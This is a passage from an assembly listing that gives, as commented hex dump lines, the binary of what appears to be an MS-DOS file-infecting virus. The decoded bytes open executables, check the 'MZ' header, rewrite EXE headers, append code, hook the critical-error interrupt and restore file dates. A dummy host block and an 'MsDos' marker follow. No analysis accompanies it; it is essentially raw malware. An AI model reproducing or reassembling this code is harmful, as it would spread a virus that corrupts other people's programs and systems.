;0380  B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E  8...#..X.#..s$..
;0390  A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0  !........D...H.P
;03A0  BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21  <....3...9...s?!
;03B0  00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B  .s$.X.@.w&z....+
;03C0  00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C  ..R..w6z..X.r.z.
;03D0  C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05  E.../..[t.9..s%.
;03E0  00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E  ...E...X.EKum...
;03F0  2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01  -.s$XP......)...
;0400  06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B  .%..!!......)...
;0410  26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4  &'....#.3I8.CM!4
;0420  41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E  AM!8.K........>.
;0430  00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00  ..td.G.p....G...
;0440  00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52  ............PSQR
;0450  56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A  VW..|.z2R.}.:u..
;0460  15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02  ..b.46M!=..u.iw.
;0470  F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16  wcwa.Ru.=..rp...
;0480  80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00  ....2@9A.r...6..
;0490  8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C  ...@t.<ar.<zw..,
;04A0  20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B   Fkl9..+q?....9.
;04B0  00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E  .s&u.i/.8.CM!r..
;04C0  89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA  ..r.r%2@."N....z
;04D0  B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74  9A.r..}~Mt..}~mt
;04E0  05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70  ..~.N.8.=M!rZ.#p
;04F0  00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB  ..X8.B9..:{.M!rk
;0500  05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E  ....#..9..:k..H.
;0510  D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07  X.@4?M!.z>..s&u.
;0520  B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00  4>M!i@.8$5M!....
;0530  8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00  ....:..8$%M!E...
;0540  33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E  3I8.CM!r;...p.4>
;0550  CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24  M!.G.p...8.=M!r$
;0560  2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00  .#p..H.X.@..p.8.
;0570  57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9  WM!..t...v.8.B3I
;0580  8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90  .QM!r=.>N..t.kW.
;0590  BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD  ;..4HM!s.4>..p.M
;05A0  21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10  !iC......@3v.~9.
;05B0  07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4  .s$.W......p...4
;05C0  3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21  ?M!r..y3I.Q8.BM!
;05D0  BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD  >..9..s.$.O3R4@M
;05E0  21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21  !r.i<.9..:O.4?M!
;05F0  72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F  rJG.a...!].#E.!_
;0600  00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00  .#C.!c.#G.!e.#I.
;0610  A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03  !S..>Q..t.Hw&x..
;0620  06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3  .Q..R.....R.%p.#
;0630  7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36  |...~.....R.r:w6
;0640  78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C  x..Rt.@#S...Q.!|
;0650  00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00  ...~.w6z.+.W.#e.
;0660  C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33  G.c.E.#].G._...3
;0670  C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00  I.Q8.BM!r.9..:O.
;0680  B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E  4@M!r.;Au...|...
;0690  7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40  ~.8.BM!r.3R9..4@
;06A0  CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83  M!..>...t.4IM!..
;06B0  3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00  >p..t1...p....t.
;06C0  2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5  ...v.8.WM!4>M!.E
;06D0  16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16  ......r.8.CM!.E.
;06E0  1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D  ..8$%M!.._^ZY[X.
;06F0  2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00  ................
;0700  4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00  M...............
;0710  CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01  M ....p~.p/...<.
;0720  0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF  ..k.............
;0730  FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16  ............]...
;0740  52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00  R.....R.........
;0750  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
;0760  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20  M!K..........   
;0770  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20          .....   
;0780  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00          ........
;0790  00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00  ..b:.bo.* b:....
;07A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00  ................
;07B0  17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00  .P.....P.....P..
;07C0  01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF  ...P.....O......
;07D0  EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE  jO...P....l..%%~
;07E0  BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00  <.....l.../...p.
;07F0  10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02  ..@.....%.......
;0800  4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00  M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0820  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0830  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0840  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0850  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0860  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0870  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0880  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0890  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08A0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08B0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08C0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08D0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08E0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;08F0  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;0900  C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3  CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910  4D 73 44 6F 73
;-----------------------------------------------------------------------;
	END